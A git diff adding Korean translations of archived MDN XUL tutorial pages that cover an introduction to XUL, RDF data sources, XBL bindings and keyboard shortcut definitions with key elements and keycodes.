+ disabled 
+
+ 체크 박스나 라디오 버튼을 가능 또는 불가능 하게 하기 위해서 본 속성을 truefalse로 설정하세요.
+
+ accesskey 
+
+ 요소를 선택할 때 사용하는 단축키입니다. 여기에 지정된 문자는 보통 라벨에 아랫줄을 그어 출력합니다.
+
+
+

여기까지의 파일 찾기 예제 : Source View

+
+

다음 섹션에서는 리스트 박스 만들기를 위한 몇 가지 요소들에 대해 알아볼 것입니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/introduction/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/introduction/index.html new file mode 100644 index 0000000000..50308acfc9 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/introduction/index.html @@ -0,0 +1,38 @@ +--- +title: Introduction +slug: Mozilla/Tech/XUL/XUL_Tutorial/Introduction +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Introduction +--- +

+

다음 »

+

+

이 설명서는 XUL(XML 사용자 인터페이스 언어)를 배우는 데 도움을 주기 위한 것입니다. XUL은 응용 프로그램의 사용자 인터페이스를 작성하는 데 쓰이는 크로스 플랫폼 언어입니다.

+

이 설명서는 매킨토시의 셜록이나 윈도우의 검색 대화상자처럼 파일 찾기 기능을 갖춘 간단한 사용자 인터페이스를 만드는 방법을 설명해나갈 것입니다. 하지만 다루는 내용은 사용자 인터페이스를 만들고 몇 가지 기능을 추가하는 것으로 제한할 것입니다. 실제로 파일을 찾는 기능에 대한 설명은 제공되지 않습니다. 문서 왼쪽에 파란선이 나타나는 문단은 파일 찾기 대화상자가 수정되는 부분입니다. 이러한 문단을 따라가면 우리가 원하는 사용자 인터페이스가 완성됩니다.

+

XUL은 무엇이며 왜 만들어졌는가?

+

XUL(cool의 리듬으로 줄(zool)이라고 발음합니다)은 더 쉽고 빠르게 모질라 브라우저 개발을 하기 위해 만들어졌습니다. XML 언어이기 때문에 XML에서 사용할 수 있는 모든 기능은 XUL에서도 사용할 수 있습니다.

+

응용 프로그램을 개발할 때 특정 플랫폼의 기능을 사용해야 하는 경우가 많기 때문에 크로스 플랫폼 소프트웨어를 만드는 데는 많은 시간과 비용이 필요합니다. 그래서 오래 전부터 크로스 플랫폼 개발 도구가 개발되고 있습니다. 예를 들어, 자바는 이식성을 가장 큰 장점으로 내세우고 있습니다. XUL도 이식 가능한 사용자 인터페이스를 만들기 위해 고안된 언어입니다. 한 플랫폼에 맞추어 응용 프로그램을 개발하는 데에도 많은 시간이 걸립니다. 컴파일을 하고 디버그를 하는 과정이 매우 길어질 수도 있습니다. 하지만, XUL을 사용하면 빠르고 쉽게 인터페이스를 만들고 수정할 수 있습니다.

+

XUL은 다른 XML 언어의 장점을 모두 갖추고 있습니다. 예를 들어 XHTML이나 MathML, SVG 같은 XML 언어를 XUL 안에 삽입할 수 있습니다. 그리고 XUL에 사용된 문구는 쉽게 현지화할 수 있기 때문에 번역 작업이 수월합니다.

+

XUL로 만들 수 있는 사용자 인터페이스는 무엇인가?

+

XUL은 다양한 기능을 제공하여 세련된 그래픽 인터페이스를 만들 수 있게 해줍니다. 예를 들어 아래와 같은 엘리먼트를 만들 수 있습니다.

+ +

화면에 표시되는 내용은 XUL 파일 내부의 내용이나 데이터소스에 있는 자료를 이용하여 만들어집니다. 모질라에서는 사용자의 편지함, 북마크, 검색 결과 등도 데이터소스로 사용할 수 있습니다. 메뉴나 트리 같은 엘리먼트에 내용을 넣을 때에는 이런 자료뿐만 아니라 원하는 내용을 직접 RDF 파일로 작성하여 사용할 수도 있습니다.

+

XUL은 다음과 같이 사용할 수 있습니다.

+ +

앞의 세 가지는 실행하기 전에 사용자의 컴퓨터에 설치를 해야 합니다. 하지만, 이들은 보안과 관련된 제약이 없기 때문에 하드디스크의 파일에 접근하거나 사용자의 환경 설정을 읽고 바꾸는 것과 같은 작업도 할 수 있습니다. 확장 기능은 XUL 파일을 비롯한 스크립트, 그림 파일 등이 하나의 파일로 압축되어 제공되는데 사용자는 이를 내려 받아 설치할 수 있습니다. 파이어폭스 등의 모질라 응용 프로그램은 사용자가 손쉽게 확장 기능을 설치할 수 있도록 확장 기능 관리자를 제공합니다.

+

XUL 파일을 하드 디스크나 웹 사이트에서 바로 열 수도 있습니다. 하지만, 이 경우에는 사용할 수 있는 기능에 제약이 있고 XUL의 일부 기능이 바르게 작동하지 않을 수 있습니다. XUL로 작성된 프로그램이 웹 사이트를 통해 열리게 하려면, 웹 서버가 XUL 파일을 "application/vnd.mozilla.xul+xml" 컨텐트 타입으로 전송하도록 설정하여야 합니다. XUL은 보통 확장자가 .xul인 파일에 저장됩니다. 모질라에서는 다른 파일을 열 때처럼 파일 메뉴 아래의 파일 열기를 이용하거나 주소 막대에 직접 URL을 입력하여서도 XUL 파일을 열 수 있습니다.

+

이 설명서를 읽기 위해 알아야할 것은 무엇인가?

+

HTML과 XML, CSS에 대한 기본적인 지식이 필요합니다. 다음 사항을 항상 기억하시기 바랍니다.

+ +

XUL은 모질라와 그에 바탕한 브라우저(네스케이프 6 이상 그리고 모질라 Firefox)에서 지원됩니다. XUL 구문은 오랜 시간동안 여러 변화가 있었기 때문에, 올바르게 작동할 수 있는 최신의 사례를 보았으면 할 것입니다. 대부분의 사례는 모질라 1.0 이상에서 작동합니다.

+

파이어폭스 등의 브라우저에서 작동하는 XUL도 이와 매우 비슷하지만, 도구 막대 편집 기능 등 각 브라우저에 특화된 기능을 갖추고 있습니다.

+

이 설명서는 XUL의 다양한 기능을 설명할 것이지만 모든 기능을 다루지는 않을 것입니다. XUL에 어느 정도 익숙해진 후에 특정 엘리먼트가 지원하는 기능들을 살펴보고 싶으면 XUL Reference를 이용하시기 바랍니다.

+

+

다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/introduction_to_rdf/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/introduction_to_rdf/index.html new file mode 100644 index 0000000000..c584671798 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/introduction_to_rdf/index.html @@ -0,0 +1,74 @@ +--- +title: Introduction to RDF +slug: Mozilla/Tech/XUL/XUL_Tutorial/Introduction_to_RDF +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Introduction_to_RDF +--- +

이 장에서는 RDF ( Resource Description Framework )에 대해 살펴봅니다.

+

Resource Description Framework

+

북마크나 메일 메세지등과 같은 데이터의 집합을 표시하는 목적으로 트리 요소를 사용할 수 있습니다. 그렇지만, XUL 파일에 직접 데이터를 넣는것은 귀찮은 일입니다. 북마크가 직접 XUL 파일에 쓰여져 있다고 한다면 그 변경은 어려운 것이 됩니다. 그래서 이것을 해결하는 방법은 RDF 데이터소스를 이용하는 것입니다.

+

RDF ( Resource Description Framework )란 북마크나 메일등의 리소스를 저장하기 위한 형식입니다. 다른 방법으로서 다른 형식의 데이터를 이용해 그 파일로부터 RDF 데이터를 생성하는 코드가 쓰여져 있는 경우도 있습니다. 이것이 Mozilla 가 북마크나 히스토리, 메일 메세지등의 데이터를 읽어들일 때 가고 있는 방법입니다. 개발자에게 편의를 도모하기 위해서 Mozilla 는 이러한 공통되어 이용되는 데이터를 위한 데이터소스를 제공합니다.

+

Mozilla 가 제공하고 있는 어느 RDF 데이터 소스도 데이터로부터의 트리 생성에 이용할 수 있거나 데이터를 포함한 XML 로서 보존하고 있는 RDF 파일을 참조할 수도 있습니다. 이것에 의해 여러 줄이 있는 트리의 표시가 매우 편해집니다. RDF 는 리스트 박스나 메뉴등이 같은 다른 요소에 있어서의 생성에도 이용할 수 있습니다. 이것에 대해서는 다음 절에서 다룹니다.

+

여기에서는 RDF 에 대해 아주 대략적으로 설명합니다. RDF 에 대한 자세한 안내는 RDF 모델 입문을 읽어 바랍니다. RDF 에 처음으로 접한다면 이 안내를 읽는 것을 추천합니다. RDF/XML 파일의 몇개의 예는 Mozilla 가 제공하고 있는 것을 보면 좋을 것입니다. RDF/XML 파일의 확장자(extension)는 rdf 입니다.

+

RDF 는 그래프 구조로 표현되는 데이터의 모델로부터 됩니다. RDF/XML 는 RDF 데이터를 표현하기 위해서 이용되는 XML 언어입니다. 그것은 필요 충분한 단순한 요소로 설정 됩니다. 아래에 간단한 RDF 의 구조를 나타냅니다.

+
<? xml version="1.0"? >
+<RDF:RDF
+  xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
+  ...
+</RDF:RDF>
+
+

이것은 XUL 의 헤더와 닮아 있습니다. window 요소 대신에 RDF 요소가 이용되고 있습니다. RDF 의 요소가 올바르게 인식되도록하기 위해서 RDF 의 네임스페이스가 선언되고 있는 것이 알 수 있네요. RDF 요소의 안쪽에 데이터를 기술합니다.

+

여기에서는 RDF 에 대해 매우 간단하게 설명합니다. 보다 자세한 것은 RDF 사양을 참조해 주세요. 예로 RDF 로부터 생성되는 북마크의 리스트에 대해 보겠습니다. 북마크의 리스트는 레코드의 집합을 포함하고 있어 각각에는 URL, 타이틀, 방문일등의 일련의 데이터가 주어지고 있습니다.

+

북마크는 얼마든지의 필드로부터 되는 거대한 테이블로서 보존되고 있는 데이타베이스의 일종이라고 생각합니다. 다만, RDF 에서는 리스트는 동시에 계층적으로도 될 수 있습니다. 이것은 북마크를 폴더 마다 정리하거나 종류별 정리하기 위해서 필요한 일입니다. RDF 데이타베이스내의 각 필드는 첨부이름의 리소스입니다. 이름은 URI 로 기술됩니다.

+

예를 들면, Mozilla 의 북마크 리스트에 있어서의 필드의 몇개인가는 아래에 URI 로 기술되고 있습니다.

+
Name 	http://home.netscape.com/NC-rdf#Name 	북마크명
+URL 	http://home.netscape.com/NC-rdf#URL 	링크 URL
+Description 	http://home.netscape.com/NC-rdf#Description 	북마크의 설명
+Last Visited 	http://home.netscape.com/WEB-rdf#LastVisitDate 	최종 방문일
+
+

이것들은 네임스페이스명으로 얘기되는 필드명으로부터 생성됩니다. 다음 절에서는 이것들을 사용해 필드의 값을 자동 생성시키는 방식에 대해 보고 갑니다. 최종 방문일은 다른 3개의 필드와 조금 다른 네임스페이스가 되어 있는 것에 주의해 주세요.

+

아래에 3개의 레코드와 3개의 필드를 가지는 RDF/XML 의 예를 나타냅니다.

+
<RDF:RDF xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+         xmlns:ANIMALS="http://www.some-fictitious-zoo.com/rdf#">
+
+  <RDF:Seq about="http://www.some-fictitious-zoo.com/all-animals">
+    <RDF:li>
+       <RDF:Description about="http://www.some-fictitious-zoo.com/mammals/lion">
+         <ANIMALS:name>Lion</ANIMALS:name>
+         <ANIMALS:species>Panthera leo</ANIMALS:species>
+         <ANIMALS:class>Mammal</ANIMALS:class>
+       </RDF:Description>
+    </RDF:li>
+    <RDF:li>
+       <RDF:Description about="http://www.some-fictitious-zoo.com/arachnids/tarantula">
+         <ANIMALS:name>Tarantula</ANIMALS:name>
+         <ANIMALS:species>Avicularia avicularia</ANIMALS:species>
+         <ANIMALS:class>Arachnid</ANIMALS:class>
+       </RDF:Description>
+    </RDF:li>
+    <RDF:li>
+       <RDF:Description about="http://www.some-fictitious-zoo.com/mammals/hippopotamus">
+         <ANIMALS:name>Hippopotamus</ANIMALS:name>
+         <ANIMALS:species>Hippopotamus amphibius</ANIMALS:species>
+         <ANIMALS:class>Mammal</ANIMALS:class>
+       </RDF:Description>
+    </RDF:li>
+  </RDF:Seq>
+</RDF:RDF>
+
+

여기에서는 각 동물( animal )에 대응해 3개의 레코드가 선언되고 있습니다. 각 RDF:Description 태그가 하나의 레코드를 나타냅니다. 각각의 레코드의 내부에는 3개의 필드: name, species, class 가 기술되고 있습니다. 모든 레코드가 같은 필드에서 구성되어 있지 않으면 안 되는 것은 아닙니다만, 그렇게 하는 편이 보다 자연스럽습니다.

+

3개의 필드 각각 네임스페이스로서 ANIMALS 가 주어지고 있어 ANIMALS 의 URL 는 RDF 태그내에서 선언되고 있습니다. 이름은 이유가 적당하게 선택한 것만으로 있지만 무엇이든 다른 이름이라도 괜찮습니다. 네임스페이스의 이용은 class 필드가 스타일의 필드와 충돌하지 않게 하는 것에 도움이 되고 있습니다.

+

Seq 요소와 li 요소는 레코드의 리스트를 지정하기 위해서 이용하는 것입니다. 이것은 HTML 의 리스트의 선언과 잘 닮은 것입니다. Seq 요소는 요소가 순서로 나타내질 수 있는 것을 나타냅니다. 순서를 가지지 않는 경우는 Seq 요소 대신에 Bag 요소를 이용합니다. Alt 요소를 이용하면 데이터의 각 레코드가(미러 URL 등의) 대체값을 지정하고 있는 것을 지시할 수가 있습니다.

+

네임스페이스 URL 와 거기에 계속되는 필드명에 의해 XUL 파일내의 리소스를 참조할 수가 있습니다. 위의 예에서는 다음에 특정 필드의 참조에 이용할 수 있는 URI 가 생성됩니다.

+
Name 	http://www.some-fictitious-zoo.com/rdf#name
+Species 	http://www.some-fictitious-zoo.com/rdf#species
+Class 	http://www.some-fictitious-zoo.com/rdf#class
+
+
+

다음 절에서는 RDF 를 사용한 XUL 요소의 생성 방법에 대해 살펴봅니다.

+


+

+

« 이전다음 »

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/introduction_to_xbl/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/introduction_to_xbl/index.html new file mode 100644 index 0000000000..f6e3ddde65 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/introduction_to_xbl/index.html @@ -0,0 +1,82 @@ +--- +title: Introduction to XBL +slug: Mozilla/Tech/XUL/XUL_Tutorial/Introduction_to_XBL +tags: + - XBL + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Introduction_to_XBL +--- +

+

« 이전다음 »

+

+

XUL은 자매(sister) 언어 XBL (eXtensible Bindings Language)이 있습니다. 이 언어는 XUL 위젯의 behavior를 선언하는데 쓰입니다.

+

바인딩

+

어플리케이션 사용자 인터페이스의 레이아웃을 정의하기 위해 XUL을 쓸 수 있습니다. 요소에 스타일을 적용하여 입맛대로 모양(look)을 바꿀 수 있습니다. 또한 스타일을 바꿔 새 스킨을 만들 수 있습니다.

+

스크롤 바체크 박스 같은 요소 모두의 기본 겉모양은 스타일 조정(adjust)이나 요소에 속성을 주어 수정해도 좋습니다. 그러나, XUL은 요소가 작동하는 법을 바꿀 수 있는 수단은 제공하지 않습니다. 예를 들면, 스크롤 바 막대가 기능하는 법을 바꾸고 싶을지도 모릅니다. 이를 이해서는, XBL이 필요합니다.

+

XBL 파일은 바인딩 집합을 포함합니다. 각 바인딩은 XUL 위젯의 behavior를 기술합니다. 예를 들면, 바인딩은 스크롤 바에 부착될지도 모릅니다. behavior는 스크롤 바를 만드는 XUL 요소 기술뿐만 아니라 속성(property)과 메소드도 기술합니다.

+

XUL처럼 XBL도 XML 언어입니다. 그래서 비슷한 구문 규칙이 있습니다. 다음 예는 XBL 파일의 기본 뼈대(skeleton)를 보입니다.

+
<?xml version="1.0"?>
+<bindings xmlns="http://www.mozilla.org/xbl">
+  <binding id="binding1">
+    <!-- content, property, method and event descriptions go here -->
+  </binding>
+  <binding id="binding2">
+    <!-- content, property, method and event descriptions go here -->
+  </binding>
+</bindings>
+
+

bindings 요소는 XBL 파일의 루트 요소고 하나 이상의 binding 요소를 포함합니다. 각 binding 요소는 단일 바인딩으로 선언합니다. id 속성은 위 보기처럼 바인딩을 식별하기 위해 쓰일 수 있습니다. 템플릿에는 두 바인딩이 있습니다. 하나는 binding1으로 부르고 다른 하나는 binding2입니다. 하나는 스크롤 바에 다른 하나는 메뉴에 부착될지도 모릅니다. 바인딩은 어떤 XUL 요소에도 부착할 수 있습니다. CSS 클래스를 쓰면, 필요에 따라 많은 다양한 바인딩을 쓸 수 있습니다. 이것은 XBL 구문을 써서 선언합니다.

+

바인딩 파일의 URL에 CSS 속성(property) -moz-binding을 주어 요소에 바인딩을 할당합니다. 예를 들면,

+
scrollbar {
+    -moz-binding: url('chrome://findfile/content/findfile.xml#binding1');
+}
+
+

URL은 파일 'chrome://findfile/content/findfile.xml' 안 id가 'binding1'인 바인딩을 가리킵니다.

+

'#binding1' 구문은 HTML 파일에서 앵커(anchor)를 가리키는 것처럼 특정 바인딩을 가리키는데 쓰입니다. 보통 파일 하나에 바인딩을 전부 둘 겁니다. 이 예에서 결과는 모든 스크롤바 요소가 바인딩 'binding1'에 기술한 behavior를 지닐 겁니다.

+

바인딩은 선언하는 다섯 가지 종류가 있습니다.

+
    +
  1. 컨텐트: 바인딩이 바운드되는 요소에 더하는 자식 요소.
  2. +
  3. 속성: 요소에 더하는 속성. 스크립트로 접근할 수 있습니다.
  4. +
  5. 메소드: 요소에 더하는 메소드. 스크립트에서 호출할 수 있습니다.
  6. +
  7. 이벤트: 요소가 반응할 마우스 클릭과 키누름 같은 이벤트. 바인딩은 기본 처리(handling)를 제공하는 스크립트를 더할 수 있습니다. 게다가 새 이벤트를 정의할 수도 있습니다.
  8. +
  9. 스타일: XBL이 정의한 요소의 사용자 정의 스타일 속성.
  10. +
+

바인딩 예제

+

box는 사용자 정의 위젯을 만드는데 쓸 수 있을 만큼 충분히 일반적(generic)입니다(비록 어떤 요소라도 쓸 수 있지만). box 태그에 class를 할당하여 바인딩을 오직 그 클래스에 속하는 상자에 관련지을 수 있습니다. 다음 예가 이를 보입니다.

+
XUL (example.xul):
+
+<?xml version="1.0"?>
+<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
+<?xml-stylesheet href="chrome://example/skin/example.css" type="text/css"?>
+
+<window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+  <box class="okcancelbuttons"/>
+</window>
+
+CSS (example.css):
+
+box.okcancelbuttons {
+    -moz-binding: url('chrome://example/skin/example.xml#okcancel');
+}
+
+XBL (example.xml):
+
+<?xml version="1.0"?>
+<bindings xmlns="http://www.mozilla.org/xbl"
+         xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+  <binding id="okcancel">
+    <content>
+      <xul:button label="OK"/>
+      <xul:button label="Cancel"/>
+    </content>
+  </binding>
+</bindings>
+
+

이 예는 상자 하나가 있는 창을 만듭니다. 상자는 okcancelbuttonsclass가 있게 선언되었습니다. 파일과 관련 있는 스타일 시트는 okcancelbuttons 클래스가 있는 상자가 XBL 파일에 정의한 특수 바인딩을 갖는다고 말합니다. box 말고도 다른 요소, 심지어 사용자 정의 테그를 쓸지도 모릅니다.

+

다음 절에서 XBL의 세부 부분을 더 살펴보겠습니다. 그러나, 간략히 말하면 상자 안에 자동으로 버튼 2개(확인 버튼과 취소 버튼)를 더하게 합니다.

+

다음 절에서는, XBL로 컨텐트 만들기를 보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/keyboard_shortcuts/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/keyboard_shortcuts/index.html new file mode 100644 index 0000000000..2b383d0c88 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/keyboard_shortcuts/index.html @@ -0,0 +1,384 @@ +--- +title: Keyboard Shortcuts +slug: Mozilla/Tech/XUL/XUL_Tutorial/Keyboard_Shortcuts +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Keyboard_Shortcuts +--- +

 

+ +

+

« 이전다음 »

+

+ +

여러분은 키보드에 응답하는 키보드 이벤트 핸들러를 사용할 수 있습니다. 그러나 모든 버튼과 메뉴 항목에 이벤트 핸들러를 사용하는 것은 정말 번거로운 일일 것입니다.

+ +

키보드 단축키 만들기

+ +

XUL에서는 키보드 단축키를 정의할 수 있는 방법을 제공합니다. 우리는 메뉴 단원에서 accesskey 속성에 대해 알아 보았습니다. 이 속성은 메뉴나 메뉴 항목을 활성화하기 위해 사용자가 누를 수 있는 키를 명시하는데 사용됩니다. 아래 예제에서는 Alt와 F(어떤 플랫폼에서는 다른 키 조합) 키를 눌러 File 메뉴를 선택할 수 있는 것을 보여주고 있습니다. File 메뉴가 열리면 Close 메뉴 항목은 C 키를 눌러 선택할 수 있습니다.

+ +

예제 1 : Source View

+ +
<menubar id="sample-menubar">
+  <menu id="file-menu" label="File" accesskey="f">
+    <menupopup id="file-popup">
+      <menuitem id="close-command" label="Close" accesskey="c"/>
+    </menupopup>
+  </menu>
+</menubar>
+
+ +

여러분은 버튼에도 accesskey 속성을 사용할 수 있습니다. 버튼에 이 속성을 사용하고 키를 누르면 버튼이 선택(클릭)됩니다.

+ +

그러나 여러분은 아마 좀 더 일반적인 방법으로 키보드 단축키를 설정하고 싶어할 것입니다. 예를 들어 클립보드로 텍스트를 복사하기 위해 Control+C를 누르는 것과 같은 것 말입니다. 이와 같은 단축키를 항상 사용할 수 있는 것은 아니지만 창이 열려있는 동안에는 대부분 동작할 것입니다. 보통 키보드 단축키는 아무때나 사용할 수 있고 스크립트를 사용해 무엇인지를 수행할지 여부를 검사할 수 있습니다. 예를 들어 텍스트가 선택되었을 때만 클립보드로 텍스트를 복사하는 것이 가능하도록 하게 검사할 수 있습니다.

+ +

key 요소

+ +

XUL에서는 하나의 창에서 사용할 키보드 단축키를 정의할 수 있게 해주는 key 요소를 제공합니다. 이 요소에는 누를 키와 같이 눌러야 하는 변경키(modifier key, Shift나 Control)를 명시할 수 있는 속성이 있습니다. 예제는 다음과 같습니다.

+ +
<keyset>
+  <key id="sample-key" modifiers="shift" key="R"/>
+</keyset>
+
+ +

위의 예제는 Shift와 R 키를 누를 때 활성화되는 단축키를 정의하고 있습니다. key 속성(요소 이름과 동일합니다)은 어떤 키를 눌러야 할지를 나타내기 위해 사용되며 예제에서는 R 키입니다. 이 속성에는 눌러야하는 키에 해당하는 어떤 문자도 넣을 수 있습니다. 변경자는 항상 같이 눌러야 하는 키를 의미하며 modifiers 속성으로 지정합니다. 이 속성은 공백으로 분리된 변경자 키 목록으로 입력하며, 아래의 값을 가질 수 있습니다.

+ +
+
alt 
+
사용자는 항상 Alt 키를 눌러야 합니다. Mac에서는 Option 키에 해당합니다.
+
control 
+
사용자는 항상 Control 키를 눌러야 합니다.
+
meta 
+
사용자는 항상 Meta 키를 눌러야 합니다. Mac에서는 Command 키에 해당합니다.
+
shift 
+
사용자는 항상 Shift 키를 눌러야 합니다.
+
accel 
+
사용자는 항상 특별한 가속키(accelerator key)를 눌러야 합니다. 여기에 사용되는 키는 사용자의 플랫폼에 따라 달라집니다. 보통 이 값을 사용하게 될 것입니다.
+
+ +

여러분의 키보드에서 이러한 모든 키를 제공하지 않을 것이며, 이 경우 키보드에 있는 변경키 중 하나와 연결될 것입니다.

+ +

key 요소는 keyset 요소 내부에 위치해야 합니다. 이 요소는 key 요소를 포함하기 위해 고안된 것으로, 파일내 한 곳에서 모든 키 정의를 묶는 용도로 사용됩니다. keyset 요소 밖에 있는 key 요소는 동작하지 않습니다.

+ +

일반적으로 각각의 플랫폼은 단축키를 위해 서로 다른 키를 사용합니다. 예를 들어, Windows는 Control 키를 사용하며, Mac에서는 Command 키를 사용합니다. 이렇게 플랫폼별로 서로 다른 key 요소를 정의하는 것은 불편할 것입니다. 운 좋게 해결책이 있습니다. accel 변경자는 플랫폼별로 단축키로 사용되는 특수 키를 나타냅니다. 이것은 다른 변경키와 동일하게 작동하면서도 각 플랫폼별로 동일하지 않을 수 있습니다.

+ +

여기에 몇 가지 추가 예제가 있습니다.

+ +
<keyset>
+  <key id="copy-key" modifiers="control" key="C"/>
+  <key id="explore-key" modifiers="control alt" key="E"/>
+  <key id="paste-key" modifiers="accel" key="V"/>
+</keyset>
+
+ +

keycode 속성

+ +

key 속성은 눌러야 하는 키를 지정하기 위해 사용됩니다. 그러나 문자로 나타낼 수 없는 키(Enter키나 기능키)를 지정하고 싶을 때도 있을 것입니다. key 속성은 출력 가능한 문자에 대해서만 사용할 수 있습니다. 출력할 수 없는 문자는 keycode라는 또 다른 속성을 이용해서 지정할 수 있습니다.

+ +

keycode 속성에는 키를 나타내는 특별한 코드를 설정해야 합니다. 키 목록은 다음 표와 같습니다. 모든 키가 키보드 상에 있는 것은 아닙니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
VK_CANCELVK_BACKVK_TABVK_CLEAR
VK_RETURNVK_ENTERVK_SHIFTVK_CONTROL
VK_ALTVK_PAUSEVK_CAPS_LOCKVK_ESCAPE
VK_SPACEVK_PAGE_UPVK_PAGE_DOWNVK_END
VK_HOMEVK_LEFTVK_UPVK_RIGHT
VK_DOWNVK_PRINTSCREENVK_INSERTVK_DELETE
VK_0VK_1VK_2VK_3
VK_4VK_5VK_6VK_7
VK_8VK_9VK_SEMICOLONVK_EQUALS
VK_AVK_BVK_CVK_D
VK_EVK_FVK_GVK_H
VK_IVK_JVK_KVK_L
VK_MVK_NVK_OVK_P
VK_QVK_RVK_SVK_T
VK_UVK_VVK_WVK_X
VK_YVK_ZVK_NUMPAD0VK_NUMPAD1
VK_NUMPAD2VK_NUMPAD3VK_NUMPAD4VK_NUMPAD5
VK_NUMPAD6VK_NUMPAD7VK_NUMPAD8VK_NUMPAD9
VK_MULTIPLYVK_ADDVK_SEPARATORVK_SUBTRACT
VK_DECIMALVK_DIVIDEVK_F1VK_F2
VK_F3VK_F4VK_F5VK_F6
VK_F7VK_F8VK_F9VK_F10
VK_F11VK_F12VK_F13VK_F14
VK_F15VK_F16VK_F17VK_F18
VK_F19VK_F20VK_F21VK_F22
VK_F23VK_F24VK_NUM_LOCKVK_SCROLL_LOCK
VK_COMMAVK_PERIODVK_SLASHVK_BACK_QUOTE
VK_OPEN_BRACKETVK_BACK_SLASHVK_CLOSE_BRACKETVK_QUOTE
VK_HELP   
+ +

예를 들어, 사용자가 Alt와 F5를 눌렀을 때 활성화되는 단축키를 만드려면 다음과 같이 하세요.

+ +
<keyset>
+  <key id="test-key" modifiers="alt" keycode="VK_F5"/>
+</keyset>
+
+ +

아래 예제는 좀 더 많은 단축키를 보여줍니다.

+ +
<keyset>
+  <key id="copy-key" modifiers="accel" key="C"/>
+  <key id="find-key" keycode="VK_F3"/>
+  <key id="switch-key" modifiers="control alt" key="1"/>
+</keyset>
+
+ +

첫 번째 키는 사용자가 사용하는 플랫폼에 해당하는 단축키와 C를 눌렀을 때 호출됩니다. 두번째는 F3을 눌렀을 때 호출됩니다. 세 번째는 Control키와 Alt키 그리고 1을 눌렀을 때 호출됩니다. 만일 키보드의 메인 영역에 있는 키와 숫자 패드에 있는 키를 구분하기 위해서는 VK_NUMPAD 키(VK_NUMPAD1과 같은 것)를 사용하세요.

+ +
+

응용 프로그램에서 사용할 단축키의 선택과 관련된 더 많은 정보는 Mozilla Keyboard Planning FAQ and Cross Reference를 참조하세요.

+
+ +

키보드 단축키 사용하기

+ +

어떻게 키보드 단축키를 정의하는지를 알았으니까, 이제는 사용 방법에 대해 알아보겠습니다. 두 가지 방법이 있습니다. 첫 번째는 가장 간단한 방법으로 key 요소에서 키입력(keypress) 이벤트 핸들러를 사용하는 방법입니다. 사용자가 키를 누르면 스크립트가 호출됩니다. 예제는 다음과 같습니다.

+ +
<keyset>
+  <key id="copy-key" modifiers="accel" key="C" oncommand="DoCopy();"/>
+</keyset>
+
+ +

DoCopy 함수는 사용자가 key 요소에서 명시한 키를 눌렀을때 호출됩니다. 위 예제에서는 클립보드에 복사하는 키(Control+C)입니다. 이 단축키는 창이 열려있는 동안은 계속 동작합니다. DoCopy 함수는 텍스트가 선택되어 있는지 검사한 후 클립보드에 선택한 텍스트를 복사할 것입니다. 텍스트상자는 원래 클립보드와 관련된 단축키가 있으므로 구현할 필요는 없다는 것을 기억하세요.

+ +

메뉴에 키보드 단축키 지정하기

+ +

메뉴에 있는 명령에 대한 키보드 단축키를 지정할 경우에는 key 요소와 메뉴 명령을 직접 연결할 수 있습니다. 이를 위해서는 menuitem 요소에 key 속성을 추가하면 됩니다. 이 속성에는 사용할 key 요소의 id값을 지정하면 됩니다. 예제는 다음과 같습니다.

+ +

예제 2 : Source View

+ +
Image:keyshort1.jpg
+ +
<keyset>
+  <key id="paste-key" modifiers="accel" key="V"
+          oncommand="alert('Paste invoked')"/>
+</keyset>
+
+<menubar id="sample-menubar">
+  <menu id="edit-menu" label="Edit" accesskey="e">
+    <menupopup id="edit-popup">
+      <menuitem id="paste-command"
+         accesskey="p" key="paste-key"
+         label="Paste" oncommand="alert('Paste invoked')"/>
+    </menupopup>
+  </menu>
+</menubar>
+
+ +

위 예제에서 메뉴 항목의 key 속성값은 paste-key로 앞에서 정의된 key 요소의 id와 동일한 값입니다. 여러분은 이 값을 여러개의 메뉴 항목에 대한 키보드 단축키로 여러번 사용할 수 있습니다.

+ +

여러분은 그림에서 보듯이 Paste 메뉴 옆에 Control과 V키 텍스트가 위치하는 것을 볼 수 있으며, 이는 이 메뉴를 호출하기 위해 이 키 조합을 누르면 된다는 것을 나타냅니다. 이것은 key 요소에 있는 modifier 속성에 따라 자동으로 추가됩니다. 메뉴에 연결되는 키보드 단축키는 메뉴가 열리지 않은 상태에서도 동작합니다.

+ +

키 정의의 또 다른 기능은 쉽게 사용 불가능한 상태로 만들 수 있다는 것입니다. 이를 위해서는 key 요소에 disabled 속성을 추가하고 true값으로 설정하면 됩니다. 이렇게 지정하면 해당 키보드 단축키는 사용 불가능한 상태이면 따라서 키를 누르더라도 호출되지 않습니다. 스크립트를 이용해 disabled 속성을 변경는 것은 유용한 기능입니다.

+ +
+

파일 찾기 예제

+ +

